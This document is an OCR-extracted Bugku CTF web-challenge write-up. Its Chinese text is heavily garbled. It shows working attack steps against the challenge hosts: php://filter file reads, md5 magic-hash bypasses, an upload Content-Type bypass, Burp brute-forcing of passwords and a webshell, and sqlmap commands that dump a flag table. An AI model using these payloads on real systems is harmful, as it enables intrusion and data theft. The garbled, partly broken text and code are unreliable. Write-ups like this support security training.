Author: Qftm

1. web2

5. F12 694 A

Topic Link: http://123.206.87.240:8002/web2/

web2
20

T AG R EE
http://123.206.87.240:8002/web2/

T, FHOTR—H, BEF12°T/F flag
get flag:

flag KEY {Web—2-bugKssNNik 9100}

2, A&

# & F12 694 A

Topic Link: http://120.24.86.145:8002/yanzhengma/

Challenge 2393 Solves X
A /A OO0
RECES
30
sk : httpy/120.24.86.145:8002/yanzhengma

Submit

Flag

& 120.24.86.145:8002 /yanzhengma/

[ Most Visitedv FlOffensive Security " Kali Linux “\ Kali Docs '\ Kali Tools * Exploit-DB W Aircrack-ng EdKali Forums % NetHunt
.
| 55+12=7 | Wi |

JFeiR:Bugku-ctf


http://123.206.87.240:8002/web2/
http://123.206.87.240:8002/yanzhengma/

K NAEST By NG BAE K A TR, F12 AT KM N IE 545 RBP T 3k /% flag —4K

€ ©120.24.86.145:8002 /yanzhengma/

[EMost Visitedv IlOffensive Security " Kali Linux ' Kali Docs S Kali Tools * Exploit-DB WAircrack-ng RdKali Forums S NetHunter '\ Kali 1

flag{CTF-bugku-0032}

CIEEETE ortla | OWEE Ofs-  GHEE O =R DM
+

<!DOCTYPE html PUBLIC *-//W3C//0TD XHTML 1.8 Transitional//EN" “http://wwm.w3.org/TR/xhtml1/DT0/xhtml1-transitional.dtd">
<html smilns="http: //wi.u3.0rg/ 1009/ xhtml">
¥ <head></head>

w <body>
<span id="code" class="code" stylzﬁ%kground: rob(38, 45, 55) none repeat scroll % B%; color: rgb(81, 72, 214);"»55¢11="¢/span> @
o
I
<input cl nput" maxlength="12"
I

o
<button id="check">BiE</button> @
b <div style="text-align:center;"»</div>
<script sre="js/jquery-1.12.3.min.is"»</script>

<script type="text/javascript” src="js/code. js"></script>
</body>

</html>

get flag:

flag {CTF-bugku—0032}

3. web A #k$ GET

&k ReyFit, §_GET AR

Topic Link: http://120.24.86.145:8002/get/

Challenge 2123 Solves X

webZriS_GET
30

http://120.24.86.145:8002/get/

Flag Submit ‘

154§ GET A 5B BP 7T 35 4F flag — 4K


http://123.206.87.240:8002/get/
http://123.206.87.240:8002/yanzhengma/
http://123.206.87.240:8002/get/

€ ©[120.24.86.145:8002 /get/?what=flag

& Most Visitedv IOffensive Security " Kali Linux ' Kali

$what=$_GET['what'];

echo $what;

if($what=="flag’")

echo 'flag{****}';
flagflag{bugku_get_su8kej2en}

get flag:

flagflag{bugku_get su8kej2en}

4. web X #:$ POST

% & RALF i+, $_POST 4] A

Topic Link: http://120.24.86.145:8002/post/

Challenge 1843 Solves

webZEaf$_POST
30

Flag

R $_POST #AEBP ¥ 3K 4% flag — Ak

@ Load URL (http://120.24.86.145:8002/post/
3 Split URL

') Execute

[“]Post data | |Referrer €= QOxHEX >» & Y%URL *=» a

Post data lwhat=f|ag |

$what=$_POST['what'];

echo $what;

if($what=="flag')

echo 'flag{****}';
flagflag{bugku_get_ssseint67se}

get flag:

flagflag{bugku get ssseint67se}


http://123.206.87.240:8002/post/
http://123.206.87.240:8002/yanzhengma/
http://123.206.87.240:8002/post/

5. T/

% 5. php 55 £

Topic Link: http://120.24.86.145:8002/get/index1. php

Challenge 1812 Solves

¥ &
30

Flag

$num=$ GET['num'];
if(is numeric($num))
{

echo S$num;

if (Snum==1)

echo ' flag [hkkioiokiok) ' .

}
BTHAEFTE, N ERARFRFEN LTI RS, ZEADR,
L ETAAI R PHP 6y “==" 55 KRR 34T 481L

#13% playload 4 http://120. 24. 86. 145:8002/get/ index1. php?num=1aaa BF ¥ 3 /% flag
—#

€ | ©[120.24.86.145:8002 /get/index1.php?num=1aaa

= Most Visited~ FllOffensive Security %, Kali Linux "% Kali Docs "% Kali Tools

$num=$_GET['num’'];
if(lis_numeric($num))

{

echo $num;
if($num==1)
echo ‘ﬂag{**********}';

}
laaaflag{bugku-789- ps-ssdf}

get flag:

f lag {bugku-789-ps—ssdf}


http://123.206.87.240:8002/get/index1.php
http://123.206.87.240:8002/yanzhengma/
http://123.206.87.240:8002/get/index1.php
http://120.24.86.145:8002/get/index1.php?num=1aaa

6. web3

F & ARAR

Topic Link: http://120.24. 86.145:8002/web3/

Challenge 2001 Solves

web3
30

flaghiFE X BERATETEIE
http://120.24.86.145:8002/web3/

Submit
g

R flag X EARHAKIRC, F12 1358 — B4k 09F 5, 347 ASCI | LR F A3k

N B e ph A2 @ A 32 E £ BP9 5543 flag —4k

flaghlZEk 2

e |

=M <DOM

0000°E");
~BETS; BEGY; BERY; BE173; BET4; BESH; BE115; 697 650 6ES0; RO 5, B85, BET. 3;6473; 647554105, -->

ASCIIF4#%E| ASCH (: a b ¢)
KEY{J2sa42ahJK-HST1III}

O mraTonn
e () 0x618k618461/62) [ i Ox
0x4b0x450x590x7h0x4alx320x730x610x340x320x610x68

530x310x3 7d
it (4 97 98 99)
756989123745011597525097104747545728349497373731

25

get flag:



http://123.206.87.240:8002/web3/
http://120.24.86.145:8002/get/index1.php?num=1aaa
http://123.206.87.240:8002/web3/

KEY {J2sa42ahJK&# 4 }

7. BRI

F k. BB

Topic Link: flag. bugku. com

Challenge 1293 Solves

S22 AT
50

UTiRAE Nag.bugku.com fFHTE]120.24.86.145 HAESEflag

Submit

Flag

Fe AR B B RKIR L AT flag. bugku. com, T #8132 flag

BLE hosts X, ¥ 120.24.86.145 flag. bugku. com ‘FAestk, KRE5
flag. bugku. com B 7] 3£ /3 flag —#k

Linux & %/t /etc/hosts B X T, & EE root MR

windows & %4t c:\windows\system32\drivers\etc\hosts B £ T, &L, ki
Z AT AT EAY R G AT HE — /> hosts L AL AL B ITE 0 &

get flag:

KEY {DSAHDSJ82HDS2211}

8. ARLINiLfels T

F o MRINE S AT

Topic Link: http://123.206. 87.240:8002/web12/



http://123.206.87.240:8002/web12/

Challenge 1446 Solves

RGIRIEAEAZT
60

Mt : http://120.24.86.145:8002/web12/

6% : @berTrAM

AT E@—HANRNE, F12T5% flag is here”, £ABPIAN O T4 —HA &5
go BB, IR% B ayvh L — /B K ><divd<img src="10. jpg"/></div>—H &,
BRI L4 E R 10. jpg HIAIER £ R o9 R P A flag

Response

Raw | Headars | Hex [ HTML | Rander

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width,
initial-scale=1.0">

<meta name="description" content="">

<meta name="author" content="">

<title>Dummy game</title>

</head>

<script language="JavaScript">

function myrefresh(){

window. location.reload():

¥

setTimeout('myrefresh()',500);

</script>

<body>

<center><strong>I want to p}ay Dummy game with
othersf£jBut I can't st(y.(t/strongx/centew
<center>Stop at panda ! will get flag</center>
<center><div><img qrc="10.jpg"/></div></center><br><a
style="display:nong">flag{dummy_game_1s_sO0_popular
Y</a></body>
</html>

get flag:

flag {dummy_game_1s_sO popular}

9. X EA@X

F & LB

Topic Link: http://103.238.227.13:10085/



Challenge 1985 Solves

Stk G
30

http://103.238.227.13:10085/

Flagi&=, : Flagnooooaoooonon

Submit

Flag

He B KR —/PHP S, MRE35%FpTIER A i

%

ZIR A

T #. A2 Content—Type 4943, BP €., 4 Content-Type 7X ) image/ jpeg Bf 7T 1% %|

flag —#&

Upgrade-Insecure-Requests: 1
Content-Type: multipart/form

79770905662955
Content-Length: 241

662955
Content-Disposition: for
filename="a.php"
Content-Type: image/jpeg]|

a

get flag:

Flag:42e97d4651962c53d19549

10. =1

F 5 pho BEFZRF $$

&R B AKX (pg png gif) 24T

X-Powered-By: PHP/7.0.7
-data; Content-Length: 37

4399259120953

439925912095379770905

ta: name="file":

377b513c7e

Topic Link: http://120.24.86.145:8004/index1. php

Flag:42e97d465962c53df9549377b513c7e


http://120.24.86.145:8004/index1.php?args=GLOBALS

Challenge 1223 Solves

g1
60

Flag | submit ‘

flag In the variable ! <?php

error reporting(0);
include "flagl. php";
highlight file( file );
if(isset($ GET['args'])) {
Sargs = $ GET['args'];
if (lpreg match("/"\w+$/", Sargs)) {
die("args error!");
}
eval ("var_dump ($$args) ;") ;
}
?”

DHATAREG T AR LA php T2 F £ RF, #1& payload

http://120. 24.86. 145:8004/ index1. php?args=GLOBALS

T e A TR, BPTRMF flag —4&

€ ©)/120.24.86.145:8004 index!. php?args=GLOBALS s | ¢ @ QHR
B Most Visitedv Ill0ffensive Security S Kali Linux "% Kali Docs % Kali Tools % Exploit-DB WAircrack-ng RKali Forums \NetHunter % Kali Training @ Getting Started Y BXEH% 4 BE

flag In the variable ! <7php

error_reporting(f);
include "flagl.php";
highlight_file(_file_);
if(isset($ 6T "args' )

fargs = §.GET[ args';

if(!preg_match("/\ms/" $args)){

die("args error!");

}

eval("var_dunp($Sargs);");
:
anay{7){ ['GLOBALS"J=> *RECURSION* [*_POST"}=> anay(0) |} ["_GET"[=> aray(1) { "args" > string(7) "GLOBALS” ) [_COOKIE']=> array(0){)*_FLES" > aray(0) ) [ ZPeved]=> string(38)
"ag[90853051ab894a6ATT8B5C13c2128034) [ args'}=> string{T) "GLOBALS' |


http://120.24.86.145:8004/index1.php?args=GLOBALS

get flag:

flag {92853051ab894a64f7865cf3¢2128b34}

11. webd
5. JS

Topic Link: http://123.206. 87. 240:8002/web5/

webs
60

http://123.206.87.240:8002/web5/

FEKS

il submit 4, REHBRNKGLIAA —K IS B, AEREEHEHFET flag

Submit

B EEEESDLW.EE OBt~ GRE  ORF R4 DN
BN 0055 - 0 5 - oR80) - oRED- oARY -

WU ]'f[‘[]] DT H'[Z.["[*"[l*" ll*l“[l*[]‘[*‘*[]]l‘[ MDD T T D U DT D ll*([ JEIHUIMI) -
(A A DI RN e | DT RO DAL A D TN L (DI
(AT T AT D ﬁ DA AT AT R OO A AU
[T AT T ‘[]l*][]l‘[r"[]*['[l] T DA D DL T T

DM I T

e DT AT T DA *['[l]*[][ ‘[] (AT
! L["[l"' l"'[]l' ‘[]'[]J["[]"'[l”[l"[][t (O D ey IO
[] [‘*[]"* DT (IO l[]]‘[*‘*[] gty []J["[l*"[l]'t“[][ T [ Bl []' DEATCIRII
[GRUENEU IR I ‘[. I DA UM e
[T T ] ! DIIHEIAI
["'[]*['[l]]' '[]*[] R I
LM
![. I

[1#4] ]]'U‘[]'[l‘[* )

[]'[1[ ! ‘[]'[l ["'[]]]‘[*‘*[]'[*[]
I H‘*[]"* ]]'U‘[]'[l (1] l* ]Jﬁ

get flag:

ctf {whatfk}

12. k&4

& E . W RIS AT

Topic Link: http://120.24.86.145:9009/hd. php



Challenge 1133 Solves x

KEH
60

http://120.24.86.145:9009/hd.php

Flag

P oA 24 H, RIANCERRAA ARG L, ERRHGEQRRLIRTKIFC S flag

Response

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 18 Jul 2018 07:05:51 GMT
Content-Type: text%l

Connection: close

|flag{Bugku_k8_23s_istra}f:
Content-Length: 139

<html>
<meta http-equiv="Content-Type"
content="text/html; charset=UTF-8" />

<pre><br><br><br><br>{t+ 4A#;&H, <br><br>
</html>

get flag:

flag {Bugku k8 23s_istra}

13. MR E

B FHIFK

Topic Link: http://123.206.87. 240:8002/webshel | /

) 2h AL 2
60

http://123.206.87.240:8002/webshell/

EAERRALEEAZRPEERE

ARABAR T W 5h B A2 R, )R #p &) lads T A AT 14


http://123.206.87.240:8002/webshell/

HEEE: FEEULEE FHEEE: o/ath
i1 ik HITPIR

1 http://123. 206. 87, 240:8002/webzhell /index 200

2 http://123. 206. 67, 240:8002/webshell/shell. pht

N shell.php R AP, RIEZEMIIE, # 7 burpsuite ST
Wkt %

onfgure the positions where payloads will be inserted Into the pase request. | he attack type determines the\

Aftack type: lSnipE‘[

POST /webshell/shell.php HITF/1.1

Host: 123. 206. 87. 240:8002

User-Agent: Mozilla/5.0 (Vindows NT 10.0: Winf4: x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/#: q=0.8
Accept-Language: zh-Cl, zh; q=0. 8, zh-TW; q=0. 7, zh-HE q=0. 5, enn-US; q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Referer: http://123. 206. 87. 240:8002/webshell /shell. php

Content-Type: application/z-www-form-urlencoded

Content-Length: 10

Cookle: PHPSESSID=brii7lej31lngddrtkanmlkad6] lpuf3

Comnectlion: keep-alive

Upegrade-Insecure-Requests: 1

pass= § admin §
F I HE R
E X
Lookln: | (& Blasting_dictionary-master B (@ (e (&) @ e
| dictionaries.bd [ top10W fxt [ webshellPasswaord txt | [ 48558 txt
[ top100password.txt Bl A B [ #rimEE it tdt
hd [ top5008-E 4H & txt OEARPEA [ PR it
i [ weblogicB A ERFIE bt [ EEH{E [ AN =50
EL = Y|
File Name: webshellPassword txt
Files of Type: | All Files N
(o

LERER



Intruder attack 1

Aftack Save Columns

- Target | Positions | Payloads | Options |

Filter: Showing all items :
" I/
Request —|Payload ™ Status Error Timeout - Comment
24 | hack | a g 1o
0 200 ] @] 1125 baseline request
1 als2d3f4 200 ] 0] 1125
2 rysi2012 200 a 0 125
3 147 200 O O 1125
4 258, 200 O O 1125
] NIE10B 200 a ] 125
5] yyihacker 200 a ] 1125
7 cnnsc 200 a ] 1125
8 LM 123456 200 ] ] 1125
9 kisslove 200 a a 1125
1 369 200 a a 1125
10 zhack 200 a ] 1125
12 lele 200 (] (] 1125

Response

Params | Headers | Hex

POST /webshell/shell.php HITP/L. 1
Host: 123.206.87. 240:8002

User-Agent: Mozilla/5.0 (Findows NT 10.0; Vinf4; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html, application/xhtml+xml, application/xml; g=0. 9, */%; q=0. 8

| Type a search term

Hr N\ pass: hack

WebShel |

get flag:
flag{hack_bug_ku035}
B RBEARFHET A

GitHub T B #eik: https://github. com/Qftm/Blasting—dictionary

14. TER A%

# 5 IPthi&. basebd i




Topic Link: http://123.206. 31.85:1003/

FRR A%
60

http://123.206.31.85:1003/

flag# = flag{}

F12 & & R X —/ 5955 % <!-— dGVzdDEyMw== —-> #t47 baseb4 % Z J& 13 %)
==) test123

AR R P 4% admin 2iX8E, KAAR, MEHLRERT IP LK, ME#ITHE IP,
F& HTTP % 5K P i e ik K 3k X—Forwarded-For: 127.0.0.1

fr g @ L& e R E RIS flag

{font style="color:#FF0000"><h3>The flag is: 85ff2ee4171396724bae20c0bd851f6b</h3><br\></font\>

A

get flag:

flag {85ff2ee4171396724bae20c0bd851f6b}

15. web4

Z 8 url B

Topic Link: http://120.24. 86. 145:8002/web4/

Challenge 1230 Solves

web4
80

ERIRAEIC

http://120.24.86.145:8002/web4/

#RTEFHRARD
<html>

<titl1e>BKCTF-WEB4</title>


http://123.206.31.85:1003/

<body>

<div style="display:none;"></div>

<form action="index.php" method="post" >

A A RARAD? <or>

<br>

<script>

var pl = '%$66%75%6e%63%74%69%6£%6e%20%63%68%65%63%6b%53%75%62%6d%69%574%28%2
9%7b%76%61%72%20%61%3d%64%6£%$63%75%6d%65%6e%74%2e%67%565%74%45%6Cc%65%6d%65%
6e%74%42%79%49%64%28%22%70%61%73%73%77%6£%72%64%22%29%3b%69%66%28%22%75%6
e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6£%66%20%61%29%7b%69%66%28%22%
36%37%64%37%30%39%62%32%62";

var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%6
1%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%56Cc%65%72%74%28%22%45%
72%72%6£%72%22%29%30%61%2e%66%6£%63%75%73%28%29%3b%72%65%74%75%72%6e%21%3
1%$7d%7d%64%6£%$63%75%6d%65%6e%574%2e%67%65%74%45%6Cc%65%6d%65%6e%74%42%79%49%
64%28%22%6Cc%65%76%65%6Cc%51%75%65%73%74%22%29%2e%6£%56e%73%75%62%6d%69%74%3
d%63%68%65%63%6b%53%75%62%6d%69%74%3b"';

eval (unescape (pl) + unescape ('%35%34%61%61%32"' + p2));

</script>

<input type="input" name="flag" id="flag" />

<input type="submit" name="submit" value="Submit" />
</form>

</body>

</html>

Fp1 = p2, “%35%34%61%61%32” # 4T URL fig# 3 & + o<k #4542 ASCI I (RiZ & &84
%)

66 75 6e 63 74 69 6f be 20 63 68 65 63 6b 53 75 62 6d 69 74 28 29 7b 76 61 72 20 61 3d 6
4 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 be 74 42 79 49 64 28 22 70 61 73 73 77
6f 72 64 22 29 3b 69 66 28 22 75 be 64 65 66 69 be 65 64 22 21 3d 74 79 70 65 6f 66 20 61

29 7b 69 66 28 22 36 37 64 37 30 39 62 32 62

35 34 61 61 32

61 61 36 34 38 63 66 36 65 38 37 61 37 31 31 34 66 31 22 3d 3d 61 2e 76 61 6¢c 75 65 29 7
2 65 74 75 72 6e 21 30 3b 61 6¢c 65 72 74 28 22 45 72 72 6f 72 22 29 3b 61 2e 66 6f 63 75
73 28 29 3b 72 65 74 75 72 6e 21 31 7d 7d 64 6f 63 75 6d 65 be 74 2e 67 65 74 45 b6¢c 65 6d

65 be 74 42 79 49 64 28 22 6¢c 65 76 65 6¢c 51 75 65 73 74 22 29 2e 6f be 73 75 62 6d 69 7
4 3d 63 68 65 63 6b 53 75 62 6d 69 74 3b



%M eval O R84, F2)—/ function FH&k
function checkSubmit () {

var a=document. getElementByld("password”) ;

if ("undefined"!=typeof a) {
if ("67d709b2b54aa2aab48cf6e87a7114f1"==a. value)

return!0;

alert ("Error") ;
a. focus () ;

return!1

}
document. getElementByld (" levelQuest"). onsubmit=checkSubmit;

- e

R F I B "67d709b2b54aa2aab48cf6e87a7114F1" Bp 7T 3 4% flag

EEIRMEL ?
Submit

KEY{J22JK-HS11}

get flag:

KEY {J22JK-HS11}

16. flag /£ index &

# & : php AL

Topic Link: http://123.206. 87.240:8005/post/

flag/£index Z
80

http://123.206.87.240:8005/post/

iR A
php A HL:
file:// — FRI AR R L
http:// — 7] HTTP(s) MAit
ftp:// — 3% F] FIP(s) URLs

php:// — FRI&EMNMA/HdiA (I/0 streams)


http://123.206.87.240:8005/post/

zlib:// — B4R

data:// — #4% (RFC 2397)
glob:// — ZRIEHELGY AL ZHE X
phar:// — PHP )34}

ssh2:// — Secure Shell 2
rar:// — RAR

ogg:// — TR

expect:// — X F XA

BEd4n: click me? no

& > C @ @ 123.206.87.240:8005/post/index.php

1 BEinE KNEF AR ERERIE

click me? no

A tests K@

&« C @ @ 123.206.87.240:8005/post/index phrf?

& gxipE B yaiesss B sEm
tests

DA

?file=show. php

MK AL B A5 R

# A php £A 1L AT 5,

IR BT flag &£ index &

24X payload: ?file=php://filter/convert. baseb4—encode/resource=index. php
F I index. php it base64 mmF &R A4, sTHBFITHEE .



Baseb4/NE, #R%
Base64in=s, =

PGhObWw+DQoglCAgPHRpdGxIPKJ 172t TLWNOZjwvdGI0bGU+DQoglCAgDQo8P3BocAOKCWVycm9yX3)lcGIydGluZygwKTsNCglpZigh)FOHRVRbZmIsZV0pe2VjaG8glzxt
IGhyZWY9li4vaW5kZXgucGhwP2ZpbGU9c2hvdy S5waHAIPmNsaWNrIG1IPyBubzwvYT4n030NCgkkZmlsZTOkX0dFVFsnZmlsZSddOwOKCWIMKHNOcnNOcigkZmlsZ Swilidvli
18fHNOcmizdHIo) GZpbGUsICI0cClpfHxzdH)pc3RyKCRmaWxILCIpbnB1dCIpfHxzdH) pe3RyKCRmaWxILCIkYXRhlikpewOKCQIlY2hvl CJPaCBubyEiOwOKCQIleGIOKCk7DQolf

QOKCWIuY2x1ZGUo)GZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmIfZWxpZI9sYWNvbF9zaV9zaWhOfQOKPz4NCjwvaHRtbD4NCg==

BASE64fIES  BASEG4MEZT  3d&AA

$file=$ GET[file’]; -
if(strstr($file,”../")||stristr($file, "tp")||stristr($file,"input”)||stristr($file,"data")){

echo "Oh no!”;

exit();\

include($file):
//flag:flag{edulcni_elif lacol si_siht}

7>
</html>

R T get flag:

flag:flag{edulcni_elif_lacol_si_siht}

17. MANEBEFE flag

F o FHAERa

Topic Link: http://123.206.87. 240:8002/baopo/

N % S A flag
80

http://123.206.87.240:8002/baopo/

184 Selen

#) ] BurpSuite 3174k % 5L

WANEAED | || &4 |

WMASZHEAE A, RIRESTEAR K.

IR IR AT %


http://123.206.87.240:8002/baopo/

Attack type: | Sniper

POST /baopo/?yes HITP/1. 1

Host: 123. 206. 87. 240:8002

User-Agent: Nozilla/5.0 (Windows NT 10.0; Win64; =64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, application/xhtml+xml, application/xml; q=0.9,#*/*: q=0.8
Accept-Language: zh-CN, zh; q=0. 8, zh-TW; g=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Referer: http://123. 206. 87. 240:8002/bacpo/

Content-Type: application/z-www-form-urlencoded

Content-Length: 9

Cookie: PHPSESSID=briiTlej3Ilngddrikamilza®6l lpufl

Connection: keep-alive

Upgrade-Insecure-Requests: 1

pwd= § admin §
R

E X

Look In: Uﬁ Blasting_dictionary-master ‘v] W E E EP E
[ liunx_users_dictionaries.txt [ top10W.txt ['] webshellPassword.txt
[ NTZE7D txt [ top100password txt [ #BER
[/ README.md [ top5008-54A & txt LERAmAA
[ renkoutop txt [ weblogicBt i\ E1R7IE ¢ [ BEHE N

Ehd i -7 T
File Name: | & B9 txt
Files of Type: [All Files B
cac

A% Length KI5 : 13579

E’ Intruder attack 12 - O X

Aftack Save Columns

J Results T Target ] Paosifions [Payloads [ Options }

| Fifter: Showing all items 7

Request | Payload | Status | Error | Timeout | Length | Comment

738 13579 200 O O |28 5
0 200 [m} [m} 1327 baseline request

1 m¢admin 200 m} m} 1327

2 admin12 200 O O 1327

3 admin888 200 O O 1327

4 adming 200 O O 1327

5 admin123 200 =] =] 1327

6 sysadmin 200 O O 1327

7 adminxxx 200 m} m} 1327

8 adminx 200 O O 1327

9 Bkadmin 200 =] =] 1327

10 base 200 O O 1327

" feitium 200 m} m} 1327

12 admins 200 o O 1327 v

Request | Response
Raw Palams]Headers Hex

POST /baopo/?yes HITP/1. 1 4
Host: 123. 206. 87. 240:8002
v

User-Agent: Nozilla/5.0 (Vindows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html, abplication/shtml+xml, application/xml:a=0. 9, %/* a=0.8

w bJ u u Type a search term 0 matches

Paused ] ]

W pwd: 13579

get flag:




f lag {bugku—baopo—hah}

18. EF—8EH K
5 KA E it

Topic Link: http://123.206. 87. 240:9001/test/

v —8 7K
80

http://123.206.87.240:9001/test/

hints:JavaScript

AER &L TF 2 5 F W 1000000 k7 A6 45138 flag, &2 RERWIRIFIL *—*

Goal: 8/1000000

&R, HH<soript>X D
<script>
var clicks=0
$ (function () {
S ("#cookie")
.mousedown (function () {
$ (this).width('350px"). height ('350px") ;

})
.mouseup (function () {

$ (this).width('375px').height ('375px") ;


http://123.206.87.240:9001/test/

clickstt;
S ("#clickcount™) . text (clicks) ;

if(clicks >= 1000000) {

var form = $('<form action="" method="post">' +
"<input type="text" name="clicks" value=""' + clicks + '" hidden/>
'+
"</form>") ;
$('body') .append (form) ;
form.submit () ;
}
1)
1)
<{/script>

i@ it POST 4% # &2} clicks MKAE KT 1000000 3L 7T AFF 2] flag, A2 FAR & & BRAF
57, Bobnhb

@ Hackbar v X

Goal: 0/1000000

Encryption¥ | Encoding ¥

@l Load & Split . Run

http://123. 206. 87. 240:9001/test/

Enable Post data
¢1icks=1000000000000000

[JEnable Referer

flag{Not_C00kI3Cl1ck3r}

get flag:

flag{Not_COOkI3CI1ck3r}

19. B RNFIR

FiR B A
strstr O F &k

strstr — ERFHEGHALREN



string strstr( string $haystack, mixed $needlel, bool $before needle = FALSE]
)

&8 haystack F/& %M needle HF—AHIAWIZEFIEE haystack ZRENFHFE,
substr () &R iE &%

substr — BEFHFEHF B

string substr( string $string, int $start[, int $length] )

BREFHE string B start A= length AHBEWTFFHF.

string
MANFHE, LAESH—AFH.
start

4o R start RIFHH, BEGFHF B string 89 start [ZFF4, K 0 T4t H. Plde, £
Fi4 % "abcdef” P, A{ZE 0 49FHRA "a", 12F 2 HFHBER "¢ FF,
o E start R A%, BEOGFHFSHEM string BELQAITHSF start NFHF4.

4R string #KZ T start, iR E FALSE.

length

Jo R T EH A length, BEFHF B start ZRFBKRS . length MNFHF (BET s
tring ®KE) .

e ERAET 7449 length, ARZA string REAH length NFHFFLk A% (3 start £ ik
MM F5HBRIEA) o 2R start RAEXELARY, AF2H4E® FALSE.

I R TIEA 0, FALSE & NULL # length, AR BEE—ANTFH &,

e XA R length, BEGFFHFEFMA start LEFBANNFHELEL,

RO}

BERBFTFHFE, RHEAEXWIFIAE FALSE.
str_replace () &£ i& ik

str_replace — FF&F &5k



mixed str_replace( mixed $search, mixed $replace, mixed $subject[, int &$count] )

GHHBE —NFHFERERKE., ZFH P REEALIE subject P43 search ##K replace #
Bz EMER,

do B R — kBT R b EN R KX X) | iz R IZ B ereg_replace() 4= preg

_replace() .

%

42 search #= replace H#4, IRA str_replace() ¥+ subject R —HFaymitHik, 4o F rep
lace #9{AEINH Y T search 89N, 248 BEE RN = FHE R 1T, 4ok search £ —/-#4
# replace & —AFi %, A4 search FEHENALEFWEBMIEABERINTFH S, ZHBRTAKE
K E,

4o search #= replace #FAH 4, CAIERSMIARA LI,

search

F kG BARME, LALA needle. — AN T AR S A B 4R
replace

search G9H i, — AT AR KA E S EH ik,
subject

PATH A RE FHH. LA haystacko

dm R subject A —AN#fH, HIIEAEIEL A LA subject, BREMALIG R — AN,
count

Jo FALAG T, © AN AR IR B D B R A 69 R B

RO}

ZH BT RGO RIARE FHE,
parse_str () H 5k

parse str — S e I O o

void parseistr( string $encoded_string[, array &Sresult] )



2% encoded _string

A URL H#EANETHFHE (query string) ,

BRLAMERS (I RRMBET result MALkERZHMEE ) .

}&2(\3

encoded string
MANGFHE.

result

W€ AT A T E R

o RXETHEANETE result, TERASUARAL TN XEAND XA, FHEHEX.

& EME

AR A,

md5 & $ 5k

md5 — HHFHFEE VDS HIME

string md5( string $strl, bool $raw output = false] )

&;\-33

str
JRAEF A &

raw_output

4 RTik 4 raw output MXEA TRUE, A4 MD5 RXMHEHK U 16 F

BE,

AT}

PA 32 F Aot AT B e A

ﬂ E] 4n QN
% & RAFH, MD5

Topic Link: http://123.206.87.240:8002/web16/

T KGR AE Bt A KX


http://123.206.87.240:8002/web16/

B0 RAE DI

80

http://123.206.87.240:8002/web16/

FAEBRAE DR

A #p 8] 12 58 T BT W 33t 4T 43 8413 2] — A~ bak XA+

HEER: FHERM.

CPEEE: o/Eh

HTTFO] [z

1D ik

. bak XA
<?php
Jxx
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22

*/

include once "flag.php”;

ini set("display_errors”, 0);

$str = strstr($ SERVER['REQUEST_URI'], '?");
$str = substr($str,1);

$str = str_replace('key','', $str);

parse str($str);

echo md5($keyl) ;

echo md5(Skey2) ;

if (md5 (Skeyl) == md5($key2) 8& Skeyl !== S$key2) {
echo $flag. "BF flag";

}

”»

RALF i B IE B TA KA 1. GET F ikt T8 438

2. R EEDE A RANLEE keyl F2 key2



3. if(md5($key1) == md5 ($key2) && $keyl !==
$key2) ==)» TRUE

RBAIR: 1. ARE key R %id str_repalce () FHk

2. A B MD5 #94%5k 545 & 283% i f (nd5 ($key1) == md5 ($key2) && $keyl !==
$key2) &4+

MD5 437k F 4+ & :
QONKCDZzZO

0e830400451993494058024219903391

s878926199%a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199%a

0e545993274517709034328855841020

51091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514
#13% payload:

http://123.206.87.240:8002/webl6/index.php?kekeyyl=s87892619%a&kekeyy2=QNKC
DzO

get flag:

Bugku {OH_YOU_F IND_MY_MOMY}



20. A4

# 5. SQL JEA

Topic Link: http://123.206.87.240:8002/chengjidan/

DR
90

WA

.206.87.240:8002/chengjidan/

ke

TARE, MK, KW NiET POST £ IDARFTHAERNAETAR

FEEiR

Submit

ERERRIALSE

Math English

80 85 90

AT B A4 SQL JENRIR, A B sqlmap 34T 4K,

KA

Chinese

python2 sqlmap.py —u"http://123.206. 87. 240:8002/chengjidan/index. php" ——dbs ——data="id=1"

Mk

python2 sqlmap. py —u"http://123.206. 87. 240:8002/chengjidan/index. php" —dbs —data="id=1"

-D skctf _flag —tables

sqlmap>python? sqlmap. py —u”http://123. 206. 8

—data="id=1" -D skctf flag —tables


http://123.206.87.240:8002/chengjidan/

BT

python2 sqlmap. py —u"http://123.206. 87. 240:8002/chengjidan/index. php" —dbs —data="id=1"
-D skctf_flag -T fldg ——columns

B R T BUA

python2 sqlmap. py —u"http://123.206.87. 240:8002/chengjidan/index. php" —dbs —data="id=1"
-D skctf_flag -T fl4g —C skctf_flag —dump

sqlmap>pythen2 sqlmap. py —u”http://12 [ ¢ X p” —dbs =1" -D skctf flag -T fl4g —C skctf_flag ——dump

get flag:

BUGKU {Sq|_INJEGTON_4813drd8hz4}

21. KA ILZFHL

i WARS

Topic Link: http://123.206.87.240:8002/giumingshan/



http://123.206.87.240:8002/qiumingshan/
http://123.206.87.240:8002/chengjidan/
http://123.206.87.240:8002/chengjidan/

AN b
100

http://123.206.87.240:8002/giumingshan/

ZTAEEIANEE o,

RAE T R, ik 2s WitE—a, DERVOVEFTRES? 2 7, 45 Python A,

« C @ ® 123.206.87.240:8002/qiumingshar g W0 LN @ s
O e B mEsses B0 smm

FEBEEsHITEESNNFRR S/
1450739718*1862494775*806079579+1070321918-1037001617-1947753662*1452247190-326887395*1149764406 +841537005*522824653=7;

